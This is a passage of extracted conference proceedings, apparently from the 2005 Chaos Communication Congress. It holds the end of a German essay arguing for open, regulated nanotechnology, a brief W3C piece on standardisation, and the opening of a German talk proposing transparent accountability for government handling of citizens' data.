Nano-Community vorzieht? Außer Drexlers Foresight Nanotech Institute9, einem Thinktank namens Center for Responsible Nanotechnology und der ETC Group hat sich bislang niemand mit disruptiver NT befasst. Während die ETC Group für Forschung an dieser Art von NT ein Moratorium fordert, sind die ersten beiden vehement dagegen. Ihr Argument: Man müsse jetzt das nötige Know-how sammeln, um künftigen „Nanohackern“ das Handwerk legen zu können, die künstliche, aber höchst reale Viren oder Nanoroboter konstruieren. Plädoyer für eine offene Nanotechnik Auch wenn viele Anwendungen der NT noch in den Anfängen stecken: Sie ist kein Hype, sondern die Technik des 21. Jahrhunderts. Sie pauschal als gefährlich zu brandmarken oder stoppen zu wollen, ist weder machbar noch wünschenswert. Denn die Potenziale, die sie für ein nachhaltiges Energiesystem, für einen schonenden Umgang mit den Ressourcen des Planeten Erde oder für die Heilung bislang tödlicher Krankheiten bietet, sind gewaltig. Die isolierte NT birgt ohnehin keine unmittelbaren Gefahren. Die bioaktive kann noch in ihrem jetzigen Frühstadium analysiert und auch reguliert werden. Für einen etwaigen militärischen Missbrauch reicht eine Regulierung allerdings nicht aus: Hier sind Politik und Nano-Community gefordert, wirksame Barrieren einzuziehen. Sei es durch eine Verschärfung der B-WaffenKonvention, sei es über eine internationale Organisation auf der Ebene der Uno. Auf Gebieten, auf denen eine militärische Umnutzung klar absehbar ist, sollte auch die Idee eines Moratoriums für entsprechende Forschungsvorhaben nicht tabu sein. Für Ansätze einer disruptiven NT ist ein Moratorium eigentlich die einzig vernünftige Option, die wir haben. Denn noch ist diese Büchse der Pandora geschlossen. Sollte sie erst weit geöffnet sein, werden wir sie wohl nicht wieder schließen können. Bis hier war nur von unmittelbaren Gefahren die Rede. Die viel gescholtene ETC Group weist aber darüber hinaus seit drei Jahren – zu Recht – auf ein langfristiges Problem hin: die Verschmelzung von Nano-, Bio-, Informations- und Neurotechnologien, in Fachkreisen kurz „NBICKonvergenz“ genannt. Die ETC nennt dies 9 www.foresight.org/ THE TRUTH ABOUT NANOTECHNOLOGY „BANG“ – eine Technik, die zur selben Zeit Bits, Atome, Neuronen und Gene bearbeitet. Es ist die treffendste Beschreibung für die Nanotechnik in nicht ganz so ferner Zukunft – ein technologischer „Little BANG“, der die Komplexität von Technik drastisch erhöht und unbeherrschbar machen könnte. Gesellschaften und Volkswirtschaften könnten in einem Maße umgewälzt werden, das bislang nicht annähernd abzuschätzen ist. Noch besteht die Chance, die Technik des 21. Jahrhunderts human zu gestalten – wenn wir sie als „offene Nanotechnik“ angehen. Der Begriff „offen“ meint dabei zweierlei. Zum einen im Sinne von „transparent“: Die Nanotechnik muss raus aus den Laboren, aber nicht in Form von Hochglanzbroschüren und Experten-dialogen. Die Konzepte müssen der Öffentlichkeit zugänglich und begreiflich gemacht werden, beispielsweise über das Instrument der Bürgerforen. Die „Nanojury“10 in Großbritannien, die im Mai 2005 ins Leben gerufen wurde, ist ein erstes Beispiel. Die Millionen Laien, die die Segnungen der Nanotechnik konsumieren sollen, haben ein Recht darauf, diese technische Zukunft mitzugestalten, gegen die sich das 20. Jahrhundert möglicherweise wie eine gemächliche historische Epoche ausnehmen wird. 8 Public Domain erklären, die er Milliarden Jahre gewesen ist – und von der alle profitieren können. Niels Boeing ist Physiker, Wissenschaftsjournalist und Autor des Buches „Nano?! Die Technik des 21. Jahrhunderts“ (Rowohlt Berlin 2004). Links zu Nanorisiken befinden sich unter www.km21.org/nano/risiken/. (Dieser Text ist durch die Creative Commons AttributionNonCommercial-ShareAlike 2.0 Germany License geschützt siehe: http://creativecommons.org/licenses/by-nc-sa/2.0/de/) Die andere Bedeutung von „offen“ ergibt sich aus dieser Forderung: Es ist die Übertragung des „Open Source“-Prinzips auf NT. Längst hat der Wettlauf um die Patentierung der neuen Entdeckungen eingesetzt. Ist er schon im Falle von Genen, Pflanzen und Tieren fragwürdig gewesen, könnte er diesmal sogar für die Industrie selbst zum Problem werden. Die eingangs erwähnten Marktforscher von Lux Research weisen in einer aktuellen Nanotech-Patentstudie daraufhin, dass die Entwicklung neuer Produkte wegen der Verschränkung bisher getrennter Technologien in der NT deutlich erschwert werden könnte, weil unüberschaubare Patentknäuel zu entwirren sind. Und wenn wir für den Augenblick Prognosen Glauben schenken, nach denen NT die Möglichkeiten der industriellen Produktion radikal verändern wird, könnte ein ganz neuer Graben aufreißen zwischen denen, die Zugang zu den Grundlagen der neuen Technologien haben, und dem Rest. Eine „Nano-Divide“ könnte entstehen, die alle Gesellschaften weltweit erschüttert. Wir sollten den Nanokosmos zu der 10 www.nanojury.org/ 301 | The Web according to W3C How to turn your idea into a standard Bert Bos 303 | | 304 THE WEB ACCORDING TO W3C 305 | | 306 THE WEB ACCORDING TO W3C 307 | | 308 THE WEB ACCORDING TO W3C our process, during publication and during the creation of a working group. Working group charters have to be precise. They can't just say in general what the group will work on, as in the early days. They have to be sufficiently precise that companies can determine whether they have any essential patents, even before the first line of a specification is written. W3C isn't the only organization that makes technical standards. There is ISO, of course, but also ETSI, ECMA, ITU, OMA, IETF and many others. They each have their own domain, but those domains often touch and W3C therefore has liaisons with many standards organizations to make sure that standards are compatible, but also to lobby with them to adopt Web standards in their domains. OMA, e.g., is now using XHTML instead of the old WML and is actively coordinating new standards and guidelines for mobile devices with W3C. Several digital TV standards also use W3C technologies, such as HTML, CSS and the DOM. In Europe, W3C is a member of the ICTSB, the Information & Communication Technologies Standards Board, which coordinates IT standards in Europe among W3C, ETSI, CEN, CENELEC, EBU and others. W3C is also a partner in a European FP6 project called COPRAS, whose task it is to be the interface between other European FP6 projects and standards bodies. Standards don't always originate in standards organizations. PNG is an example of a format that was developed by an ad-hoc group on the Internet and then standardized by W3C. In fact, HTML and CSS also started before W3C existed. More recently, some formats in the Web Services area were developed out of specifications contributed by W3C members. One task of W3C is therefore to be on the look-out for promising developments that fit the Web architecture. The worst thing that can happen to an organization like W3C is that it starts to suffer from the “not-invented-here syndrome.” Luckily, that is not yet the case. Some of the interesting initiatives that we closely follow are microformats and Web Forms 2.0. There is still a lot to be done on the Web… 309 | Transparenz der Verantwortung Philipp Sonntag 311 | Transparenz der Verantwortung in Behörden 12/2005 Von Dr. Philipp Sonntag / Berlin Büro Berlin der PI Patent Interconsulting GmbH und Mitglied der c- base www.philipp - sonntag.de sulting.com / www.c- base.org/crew /sonntag / und www.patent- intercon - Beitrag auf dem 22C3 Chaos Communication Congress in Berlin, am 29. 12. 2005 um 12 Uhr Inhalt 1) Laufende Verschärfung der Kontrollen 2) Wachsendes Misstrauen zwischen Staat und Bürgern 3) VORSCHLAG: Transparenz der Verantwortung in Behörden 4) Transparenz mit Gütesiegel 5) Transparenz der Verantwortung 6) Behörden und Terroristen je mit besten Daten 7) Einhaltung der Datenschutzgesetze wäre nur mit Transparenz demokratisch wirksam 8) Interaktive Verwaltung 9) Datenschutz und - benutz der EU 10) Nur wer im Glashaus sitzt, wirft nicht mit Steinen 11) Praxisgegenstände und Aufgaben der Realisierung 12) Folgeschäden bleiben gewollt unbekannt 13) Emotionale Verarbeitung 14) Aktuelle Aufgabe: Die technische, juristische und praktische Mach- barkeit der gläsernen Verwaltung im Detail darlegen und Ihre Auswirkungen demokratisch steuern Wir brauchen eine neue, gesellschaftlich breit überzeugende Lösung für das Problem mit dem Datenschutz. Derzeit geht die Aushöhlung der Persönlich keitsrechte durch schrittweise Einschränkung des Datenschutzes weiter, einseitig mit Hinweisen auf abzuwehrende Gefahren. Die Abwägung zwischen Erfordernissen wegen Gefahren einerseits und Privatsphäre andererseits sollte in allen Institutionen der Demokratie strukturell verankert sein. Ein Beitrag hierzu wäre, dem „gläsernen Bürger“ eine „gläserne Verwaltung“ zur Seite zu stellen. Erst bei Transparenz der Verantwortung kann eine demokratische Kontrolle greifen. Es hilft wenig, den gesellschaftlichen Nutzen von Datenzugriffen generell zu leugnen. Beispielsweise wäre für den Katastrophenschutz ein weitgehender Zugriff auf eine breite Palette von Daten praktisch hilfreich. Diese Aussage gilt bis in die persönlichen Daten des Einzelnen hinein, wenn für ihn – z. B. nach einem Unfall, einem Terror- Anschlag oder einer Katastrophe – durch eine reichhaltige Gesundheitskarte medizinische Daten präzise und rasch verfüg bar wären. Dieselbe oder eine ähnliche Karte könnte dem Besitzer rasche Abfertigung bei Kontrollen am Flughafen garantieren. | 312 2 TRANSPARENZ DER VERANTWORTUNG IN BEHÖRDEN 1) Laufende Verschärfung der Kontrollen Die Verschärfung wird penetranter. Hauptgrund: Bedrohungen durch Terroris ten wachsen mit Qualität und Quantität von Waffentechnik und –handel. Die Fülle der amerikanischen Biowaffenforschung und die Verfügbarkeit von Biolabortechnik machen Geheimhaltung unmöglich. Radioaktivität ist ebenso wenig kontrollierbar wie die Kombination von immer präziseren Waffen, vor dem Hintergrund von kommerziell breitem Waffenhandel und Gewaltbereitschaft von Behörden wie dem CIA1 . Dies ermöglicht den Bau von leichten, mobilen und weitreichend zielsicheren Raketen, preisgünstig und in wachsender Qualität. Aktuell wurde versucht, Bodenluftraketen in die USA zu schmuggeln, welche für Angriffe auf Passagierflugzeuge gebaut sind 2 . Inzwischen hängt es mit von der Politik der „Schurkenstaaten“ ab, inwieweit jede Stadt weltweit zur Geisel der Terroristen wird, denn die Abwehr von Massenvernichtungswaffen wird mehr als das hundertfache des Angriffs kosten. Die Risiken im Zusammenhang mit dem menschlichen Faktor sind schon lange bekannt 3 . Auch eine noch so krasse Einschränkung der Demokratie mit „technisch perfekten Kontrollen“, schließlich in Richtung „jeder gegen jeden“ wird das Problem nicht lösen. Eine Chance bietet eine transparente, mit begründetem Vertrauen in sich gefestigte Gesellschaft. 2) Wachsendes Misstrauen zwischen Staat und Bürgern Das Misstrauen wächst mit den Zugriffsoptionen des Staates. Es entspricht einer natürlichen Tendenz jeglicher Bürokratie und Verwaltung, sich Zugriff zu verschaffen. Resultat ist ein aktuell wachsendes Misstrauen zwischen Staat und Bürgern. Um dieses aufzulösen muss Transparenz an der richtigen Stelle etabliert werden. Der Bürger bekommt zu hören: „Wer nichts zu verbergen hat, der hält seine Daten nicht zurück.“ Aber genau den Staatsdienern, die mit diesem Argument kommen, misstraut der Bürger aus schlechter Erfahrung, weil eben gerade einige dieser plakativ Angepassten dazu neigen, sich intolerant gegenüber unangepassten Minderheiten zu verhalten. Der Bürger fürchtet, dass öfters als in der Presse zu lesen, Daten für einen Zweck erhoben und dann für einen anderen missbraucht werden, sei es gegen vielfältige Minderheiten, für Indiskretionen, bei Bewerbungen usw. 3) VORSCHLAG: Transparenz der Verantwortung in Behörden Hierfür gibt es eine juristisch klare, dem Stand der Technik entsprechende und politisch gut begründbare Lösung: 1 CIA MANUAL – A STUDY OF ASSASSINATION. In: die Datenschleuder, Heft 074, 2001, S. 17 24 2 Härpfer, Susanne: Wehrhafter Adler – obwohl es in den USA die Raketenabwehr für Flugzeuge gibt, begint die EU erst mit der Entwicklung – zur Freude der Industrie. In: Tagesspiegel, 21. 11. 2005 3 Sonntag, Philipp: Verhinderung und Linderung atomarer Katastrophen. Osang, 1981, S. 100 ff 313 | 3 Transparenz der Verantwortung in Behörden: • Es dürfen Daten erhoben werden, für die es eine vernünftige, einigermaßen plausible Begründung und eine gesetzliche Regelung gibt – das ist für praktische Zwecke wie z.B. Katastrophen schutz zumeist gut argumentierbar • Ebenso dürfen die Daten für begründete Zwecke weitergegeben , verarbeitet und verwendet werden • Neu: Bei jeder Erhebung, Weitergabe, Verarbeitung und Verwendung muss bei jedem Datensatz zweifelsfrei mit notiert werden: Wofür? Warum (kurze sachliche Begründung)? Wer (prak tische Durchführung ebenso wie entscheidende Verantwortung)? Wo? Wann? Aufbewahrung? Das heißt nicht, dass man möglichst viele Daten erfassen soll. Der genetische Fingerabdruck wird sehr selten bei Straftaten gebraucht 4 . Der Unfug, Vaterschaft genetisch nachzuforschen, hat in vielen Familien Unheil angerichtet. Für sinnvolle Daten muss Transparenz technisch hergestellt und demokratisch abgestimmt werden. 4) Transparenz mit Gütesiegel Der Umgang mit Daten des Bürgers in den zugehörigen Verwaltungen soll mit passender Hard- , Soft- und Braínware zertifiziert werden, am besten mit Gütesiegel aktiv und passiv gesichert. Die Verwendung von nicht zertifizierten Daten muss möglichst wirkungsvoll durch Software verhindert werden, die Umgehung dieser Software strafbar sein. Ziel ist, dass es keinen Datensatz, nicht mal ein einzelnes Datum geben darf, bei dem nicht der ganze Weg von der ersten Aufzeichnung über alle Kopien, Verarbeitungen, Verwendungen etc. bis hin zur letzten Nutzung mit notiert worden ist. Dies ist für moderne Datentechnik überhaupt kein Problem. Die Strafen für eine Verletzung der Regeln müssen eindeutig begründet (klare Verletzung von Vorschriften) und ausreichend sein. Datenschützer müssen mehr Zugriff als bisher haben und jede Verletzung muss in einer der Sache angemessenen Art und Weise, zumindest in anonymisierter Form veröffentlich werden. 5) Transparenz der Verantwortung Ein Gütesiegel bewirkt, dass jeder Staatsdiener in einer seiner Aufgabe optimal entsprechenden Form abwägen wird, ob und wenn ja wie er die kritischen Daten nutzt. Es kann je nach Situation ebenso ein Übergriff sein, sie zu nutzen wie ein Versäumnis sie nicht zu nutzen. Dabei sollen die Strafen oder sonstige Nachteile bei Fehlern in aller Regel gering oder Null sein. Nur bei ersichtlich 4 | 314 Burkhard Hirsch, Tagesspiegel 5. Nov. 2005, S. 5 4 TRANSPARENZ DER VERANTWORTUNG IN BEHÖRDEN willkürlichen Entscheidungen und bei klaren Verletzungen gültiger Vorschrif ten sollte es Konsequenzen geben, und nur vor solchen Verletzungen hat der Bürger Angst. Das Gütesiegel ist gut mit dem Konzept einer „maschinenlesbaren Regierung“ vereinbar, wie es Wau Holland, Gründungsmitglied des CCC, sie im CCC vorgeschlagen hatte. 6) Behörden und Terroristen je mit besten Daten Behörden und Katastrophenschützer einerseits und Terroristen andererseits sind in einer je mit besten Daten geführten Auseinander setzung um die Infrastruktur und ihre demokratische Kontrolle. Transparente Verantwortung würde strukturelle Demokratie etablieren. Stattdessen werden bisher die Behörden durch Datenschutz stark behindert – während zugleich der Datenschutz unzu reichend ist und laufend durch neue Techniken und Vorschriften weiter eingeschränkt wird. Eine „Gläserne Verwaltung“ (Kurzbezeichnung für Transparenz der Verantwortung in Behörden, teils auch in entsprechenden Dienstleistungs firmen etc.) löst diese Probleme grundlegend und schafft sich wesentlich höhere Effektivität und Effizienz. 7) Einhaltung der Datenschutzgesetze wäre nur mit Transparenz demo kratisch wirksam Im Grunde ermöglicht erst die gläserne (Verantwortung der) Verwaltung eine korrekte Erfüllung bestehender Gesetze. So verlangt das Bundesdatenschutz gesetz 5 gerade die Bereitstellung derjenigen Daten, welcher erst bei der gläsernen Verwaltung richtigerkennbar und verfügbar würden: BDSG § 19: Auskunft an den Betroffenen (1) Dem Betroffenen ist auf Antrag Auskunft zu erteilen über 1. Die zu seiner Person gespeicherten Daten, auch soweit sie sich auf Herkunft oder Empfänger dieser Daten beziehen, und 2. den Zweck der Speicherung. In dem Antrag soll die Art der personenbezogenen Daten, über die Auskunft erteilt werden soll, näher bezeichnet werden ..... Transparenz der Verwaltung würde eine wertvolle Option eröffnen: Derzeit soll man als Bürger möglichst genau angeben, was man woraus wissen will. Mit Hilfe von elektronischen Daten, Koordination der Ämter und Suchfunktionen würde zum ersten Mal gläsern, ob und wo überhaupt eigene Daten vorhanden sind: Das wäre ein enormer Informationsgewinn nicht mehr nur gegen, sondern nun auch für den Bürger. Hilfreich, jedoch leider nicht bei personenbezogenen Daten, ist das IFG6 . Leider ist die Demokratie von krankhaftem Misstrauen infiziert. Das zeigt der peinliche Umgang mit den Bundesbeauftragten für den Datenschutz 7: 5 Bundesdatenschutzgesetz (BDSG) vom 20. September 1990, zuletzt geändert durch Gesetz vom 17. Dez. 1997, § 19 6 IFG – Gesetz zur Förderung der Informationsfreiheit im Land Berlin, vom 15. Okt. 1999 und: Berliner Beauftragter für Datenschutz und Akteneinsicht: Informationszugangsrecht, S. 7 7 ebd. § 19 Absatz (6) 315 | 5 (6) Wird dem Betroffenen keine Auskunft erteilt, so ist sie auf sein Verlangen dem Bundesbeauftragten für den Datenschutz zu erteilen, soweit nicht die jeweils zuständige oberste Bundesbehörde im Einzelfall feststellt, dass dadurch die Sicherheit des Bundes oder eines Landes gefährdet würde. Die Mitteilung des Bundesbeauftragten an den Betrof fenen darf keine Rückschlüsse auf den Erkenntnisstand der speichern den Stelle zulassen, sofern diese nicht einer weitergehenden Auskunft zustimmt. Natürlich darf der Betroffene, wenn er zugleich ein Verdächtigter bei begründeter Gefahr für den Staat ist, nicht über Erkenntnisse der Behörde informiert werden, solange die Gefahr begründet ist. Peinlich für die Demokratie ist aber, dass man dem Bundesbeauftragten für den Datenschutz Daten verweigert und ihm offenbar nicht zutraut, mit der Weitergabe an den Betrof fenen verantwortlich im Sinne des Staates umzugehen. Zu aller mindest müsste eine zeitlich verzögerte, vollständige Auskunft an ihn und durch ihn gewährleistet sein. 8) Interaktive Verwaltung – Stand der Technik und Usancen bei „Moder ner Staat 2005“ 8 Aktuell angedacht und vorbereitet und teils praktiziert wird die interaktive Verwaltung, über elektronische Medien, mit Bürgerkarte, Internet, Biometrie, elektronischer Signatur (gemäß Signaturgesetz) etc. Dabei bringen multi funktionale Chipkarten „erhebliche datenschutzrechtliche Probleme mit sich“ 9, und „Grundvoraussetzung für die Zulässigkeit multifunktionaler Bürgerkarten ist die Abschottung der einzelnen Funktionsbereiche voneinander. Nur wenn dies technisch sichergestellt werden kann, ist die Hinzunahme weiterer Funktionen hinnehmbar“. Ein umständlicher Weg. Es ist daher wünschenswert, dass dieser aktuell sowieso zu leistende Aufwand an Hard- und Software die Erfordernisse einer gläsernen Verwaltung bald möglichst einbezieht. Ähnlich haben sich die Informationsbeauftragten geäußert: „Deutschland muss für mehr Verwaltungstransparenz sorgen“ 10 . Auf der 9. Fachmesse und Kongress „Moderner Staat“ am 29. und 30. November 2005 in Berlin wurde eine Fülle kommerzieller Software zu E-Government angeboten, für eine Einbeziehung der Bürger und Unternehmen in das Verwaltungshandeln über das Internet und andere Medien. Dabei wurde deut lich, dass bereits teilweise Ansätze zu einer transparenten Verwaltung realisiert wurden und klare Absichten in diese Richtung gehen, wenn auch überwiegend aus vagen Hoffnungen auf Bürokratieabbau und Verringerung der Kosten. Ein Schritt in Richtung der gläsernen Verantwortung ist das deutsche Signaturgesetz . Eine nur durch gezielte Software aufzuhebende Spannung besteht 8 www.moderner- staat.de Konferenz der Datenschutzbeauftragen des Bundes und der Länder: Vom Bürgerbüro zum Internet. Empfehlungen zum Datenschutz für eine serviceorientierte Verwaltung; 2000, S. 33 poststelle@lfd.niedersachsen.de 10 zitiert nach: Berliner Beauftragter für Datenschutz und Akteneinsicht: Dokumente zum Datenschutz, 2001; S. 73 9 | 316 6 TRANSPARENZ DER VERANTWORTUNG IN BEHÖRDEN zwischen den Voraussetzungen einer gläsernen Verantwortung einerseits und den Kosten sowie den Ansätzen zu bürgernahen, einfachen Lösungen, etwa der aktuellen Realisierung eines Formulars, welches der Bürger mit dem Adobe Reader (!) ausfüllen und speichern sowie dann die Datei an die Verwaltung senden kann. Transparenz schafft das Signaturgesetz für einen Kreis von Zugangsberechtigten, in aller Regel rein intern je für eine Behörde, je mit einer Insellö sung, und zwar in direkter individueller Umsetzung mittels unterschiedlicher Produkte aus den Angeboten der Softwarehäuser (wie Bol, Oracle, SAP, SER, Siemens etc). Ansätze in Richtung einer gläsernen Verantwortung der Behörden sind beispielsweise die Betonung der Nachvollziehbarkeit, Rekonstruierbarkeit, Revisions- und Manipulationssicherheit von Aktenvorgängen in Behörden 11 , ebenso die Betonung der Rechtssicherheit der digitalen Identität von Menschen und Objekten in der elektronischen Welt, vor allem speziell für Hochsicherheitsbereiche „für citizen, business und government“ 12 , ebenso die Betonung von „safety First“ für personenbezogene Daten, mit „Berechtigungs ebenen“ bei denen der jeweilige Benutzer nur auf solche Funktionen zugreifen „darf“ (= können soll), die seiner Aufgabe innerhalb der Organisation entsprechen, wofür es „Anwenderprotokolle“ und „Prüfprotokolle“ gibt 13 . Bei der aktu ell kommerziell angebotenen Software mehrerer Firmen ist es möglich, Zugangskriterien für Nutzer zu etablieren und deren Aktionen für später rekonstruierbar mit dem jeweiligen Datensatz zu verbinden – was fehlt ist der noch demokratisch zu regelnde Zugriff von außen. Treibende Kraft sind vor allem praktische Vorteile 14 (hier in verkürzter Darstel lung): • Integration und Standardisierung von Funktionen, Reduzierung von Auf wand an Funktionen, Zeit, Kosten • Antragstellungen durch den Bürger jederzeit und von zu Hause aus, jederzeit interaktiv gesteuerter Zugriff auf Formulare, automatische hin weise auf unvollständige oder fehlerhafte eigene Eingaben • Automatisierte Lenkung, Automatisierung und Zugriffsfähigkeit der Dokumente Die „Gesellschaft für Effizienz in Staat und und Veraltung e.V. 15 „kämpft für“ die potenziellen Vorteile wie Stärkung der Privatinitiative und Eigenverantwort lichkeit sowie Vereinfachung und Beschleunigung der Verwaltungsabläufe und „kämpft gegen“ Einengung der Freiräume des Bürgers und insbesondere gegen 11 SER: Integriertes Government Content Management für den modernen Staat / PRODEA (PRocess Oriented Document related Enterprise Application), S. 29 R 12 SMC: Stark wie ein Baum – SMC Kryptographie, S. 1 und SMC- Trust (Flyer) 13 ORACLE: Die menschliche Komponente – Oracle Human Resources Management System, S. 10 14 Strakeljahn, Uwe (IT- Leiter der Stadt Melle): eGovernment aus kommunaler Sicht. Beitrag auf dem „Best Practice Forum“ bei Fachmesse und Kongress „Moderner Staat 2005“ 15 www.gfe- deutschland.de 317 | 7 „anonymes Staatshandeln“ (!) sowie „Ungewollte Folge- und Nebenwirkungen von Gesetzen und Gerichtsentscheidungen“. Ein weiteres durchgreifende Gesetz ist das Dritte Verwaltungsverfahrensänderungsgesetz . Seine Regelungen stellen das elektronische Dokument mit qualifizierter elektronischer Signatur dem traditionellen Schriftsatz (Unter schrift mit blauem Kugelschreiber / Tinte) gleich. Die Folge sind einer Reihe von (De- ) Regulierungsanforderungen und –optionen 16 . Relativ weniger problematisch sind Vorgänge, welche nicht mit persönlichen Daten der Bürger zu tun haben, sondern mit der Beteiligung der Bürger an Verwaltungsentscheidungen. Ein Beispiel ist die Anwendung eines Bürokratie abbaugesetzes in einer Modellregion 17 . Auf einer DIN A4 Seite erhält der betroffene Bürger Aussagen zur jeweiligen Projektbezeichnung („Bereich“), Problemstellung, Lösungsvorschlag, Gesetzesgrundlage, zu den zu erwartenden Auswirkungen und zur Zuständigkeit in der Verwaltung. Organisation und Finanzierung dieser mediengestützten Bürgernähe sind verbesserungsfähig und werden kontrovers diskutiert, so z.B. in den Zeitschriften „move – moderne verwaltung“ 18 und „kommune21“ 19 Ziel ist eine einheitliche Sicherheitsinfrastruktur, wofür bereits Standards definiert wurden wie SASCIA (Signature Alliance Signature Card Interoperable API) für die Schnittstelle zwischen Kartenleser und Signaturkarten, das geht in Richtung einer umfassenden Chipkarte für den Bürger, mit der er an den standardisierten Schnittstellen alle für ihn relevanten Informationen erhalten könn te 20 . Die Einbeziehung der gläsernen Verwaltung wäre zunächst ein zusätzlicher Aufwand, sie kann jedoch für die kommerziellen Ziele positive Aspekte einbringen wie eine Verstärkung von Bürokratie- Abbau, Sicherheit und Akzeptanz. 9) Datenschutz und - benutz der EU Die Richtlinie 95/46 /EG will aus wirtschaftlichen und konservativen Gründen die Hindernisse für den freien Datenverkehr aus dem Weg räumen, „ohne den Schutz von personenbezogenen Daten zu beeinträchtigen“ 21 , das betrifft „Verarbeitungen“ wie das Erheben, Speichern und Weitergeben von Daten. Die Bestimmungen klingen wie die weit verbreitete Verniedlichung von dahinter verborgenen Problemen. Wenn man sie wörtlich nimmt, sollten gute Chancen bestehen, die gläserne Verwaltung politisch durchzusetzen, gestützt auf Formulierungen wie etwa (ebda S. 8 ff, S. 12): 16 Ernst, Tobias: Modernisierung der Wirtschaftsverwaltung durch elektronische Kommunika tion. Carl Heymanns Verlag, 2005, 268 S. 17 Modellregion für Bürokratieabbau – OstwestfalenLippe (OWL); Initiative „Witschaftsnahe Ver3altung“, Zwischenbericht 2004 18 move – moderne verwaltung, insbesondere aktuell in den Heften 2 und 3/2005; siehe auch www.move- online.de 19 kommune21 – E-Government, Internet und Informationstechnik, insbesondere Heft 12/2005; siehe auch www.kommune21.de 20 Stahl, Ernst und Markus Breitschaft: Gute Karten. In: kommune21, 12/2005, S. 18 - 19 21 Datenschutz in der Europäischen Union. Amt für amtliche Veröffentlichungen der EG, Luxemburg, S.5 | 318 8 TRANSPARENZ DER VERANTWORTUNG IN BEHÖRDEN • Sie haben das Recht, über alle Arten der Datenverarbeitung informiert zu werden, die Sie betreffen ... die Identität des für die Verarbeitung Verantwortlichen, die Zweckbestimmungen der Verarbeitung und alle weiteren Informationen wie z.B. die Empfänger der Daten ... • Personenbezogene Daten dürfen nur verarbeitet werden, wenn der Betroffene aus freien Stücken zugestimmt hat All das wird zur Farce, wenn die Nachvollziehbarkeit menschlichen Verhaltens technisch abrufbar wird, ohne persönliche Einwilligung und ohne gesetzliche Grundlage. Zunehmend „unterhalten“ sich, verstärkt durch „pervasive compu ting“ und kostensparendes Delegieren an „die Technik“, Datensysteme bei Behörden und besonders Industrie miteinander, ohne dass ein Mensch im Einzelnen zuschaut oder gar verantwortlich kontrolliert. Es geschehen Schritte in Richtung gläserner Bürger, die selbst mit gläserner Verwaltung bedenklich wären 22 : Die Europäischen Justizminister und die Europäische Kommission möchten die Telefon- und Internetverbindungsdaten aller 450 Millionen Europäer aufzeichnen..... Vorratsdatenspeicherung ist eine Maßnahme, welche die Überwachungsbefugnisse in bislang nicht gekanntem Maße ausweitet.... 10) Nur wer im Glashaus sitzt, wirft nicht mit Steinen Befürworter ebenso wie Gegner einer starken Überwachung des Bürgers könn ten mit einer Gläsernen Verwaltung besser leben: • Befürworter : Technokratische Terrorismus- Bekämpfer fordern möglichst weitgehende Überwachung der Bürger – und fast jeder Bürger gehört einigen als dubios betrachtbaren Minderheiten an. Eine gläserne Verwaltung ist für diese Befürworter zwar ungewohnt, aber wenn sie selbst nichts zu verbergen haben, dann sollte eine Transparenz der Verantwortung für sie attraktiv sein. • Gegner: Wer die zu weitgehende Überwachung der Bürger fürchtet, wird ein Instrument begrüßen, das im, Ungang mit der Datenfülle eine verantwortungsbewusste, abwägende statt hortende Verwaltung erzeugt. • Und unentschlossen Abwägende? Wer sich zwischen mehr und weniger Überwachung nicht entscheiden kann, braucht einen neuen Ansatz: Die feinfühlig demokratische Abwägung wird mit in die Verwaltung gelegt und genau dafür lassen sich klare Regeln präzisieren. 11) Praxisgegenstände und Aufgaben der Realisierung 22 www.dataretentionisnosolution.com 319 | 9 Die Einschränkungen der Grundrechte seit 1994 23 bezeichnen zugleich die Bereiche, für die ich die gläserne Verantwortung der Verwaltung als besonders wichtig betrachte: • Das Verbrechungsbekämpfungsgesetz erweitere Befugnisse der Geheimdienste und erleichterte ihre Zusammenarbeit mit der Polizei • Die Telekommunikationsgesetze (TKG und TKÜV) verpflichtete Kommunikationsdienstleister, den Zugriff der Geheimdienste zu erleichtern • Mit dem „Großen Lauschangriff“ wurde der Grundgesetzartikel 13, Unverletzlichkeit der Wohnung, geändert. Mit aktuell verfügbaren und zukünftigen Techniken wird unweigerlich die demokratiefeindliche Wirksamkeit über optische und akustische Überwachung hinaus erweitert werden. • Sicherheitspakete, insbesondere zum Ausländerrecht und zu Konten abfragungen, auch für Sozial- und Finanzamt, werden viel Erbitterung bis hin zu Gewaltbereitschaft verursachen • Handys können als Peilsender verwendet werden. Nicht zuletzt die psychischen Schäden können gravierend sein, wenn man immer weniger Anhaltspunkte hat, um zwischen Verfolgung und Verfolgungswahn zu unterscheiden • Pervasive Computing mit Verfahren wie RFID, Biometrie und Ubiquitous Computing (in Kleidung eingewobene Computer, mit Sensoren und Funk) geben über jeden Ort, jeden Gegenstand und jedes Lebewesen eine Fülle von Überwachungsdaten preis. Bei integriert systemischer Auswertung resultieren Verhaltensprofile, die von tendenziösen Fragebogen und Kriterien zu vorprogrammierten Verdächtigungen und Schuldzuweisungen führen. Die „Kontextsensitivität“ 24 der dezentralen und teilselbstständigen Mini- Computer führt zu einer Eigendynamik der Bewertung von Situationen und der Steuerung von Aktionen in der Gesellschaft, gezielt ohne menschliche Kontrolle. • Der gefährlichste sich abzeichnende Schritt sind Implantate mit Emotionsüberwachung und vorprogrammierter Psycho- Pharmakavergabe, jeweils wenn bestimmte Gehirnareale Aktivität melden. Das wird ohne gesellschaftliche Gegensteuerung innerhalb der Psychiatrie beginnen und sich über Gefängnisse und Altersheime hinweg weiter ausweiten. Dies alles kann – ohne gläserne Verantwortung der Verwaltung – zu einer Eskalation der Überwachung und Gängelung führen. Eingriffe : Derzeit speichern die Telefongesellschaften Verbindungsdaten ihrer Kunden als Grundlage der Rechnungen und zu individuellen Auskünften an 23 Reuter, Markus und Johann.M. Hoffmann: Mit Sicherheit ein guter Bürger. In: Schwarzlicht 2/2005, S. 13 24 Lorenz Hilty Siegfried Behrendt, Mathias Binswanger, Arend Bruinink, Lorenz Erdmann, Jürg Fröhlich, Andreas Köhler, Niels Kuster, Claudia Som, Felix Würtenberger: Das Vorsorge prinzip in der Informationsgesellschaft - Auswirkungen des Pervasive Computing auf Gesundheit und Umwelt, Seite 8 TA 46/2003; Studie des Zentrums für Technologiefolgen - Abschätzung, www.ta- swiss.ch und Institut für Zukunftsstudien und Technologiebewertung (IZT), Berlin, www.izt.de | 320 10 TRANSPARENZ DER VERANTWORTUNG IN BEHÖRDEN den Kunden. Strafverfolgungsbehörden können zugreifen. Die Bundesregierung will Unternehmen verpflichten, alle Telefon- , SMS-, E-mail- und Inter netdaten ihrer Kunden mindestens zwölf Monate lang zu speichern. Gespeichert werden soll, wer mit wem kommuniziert und wer welche Internetseite besucht, nicht aber der Inhalt der Kommunikation oder 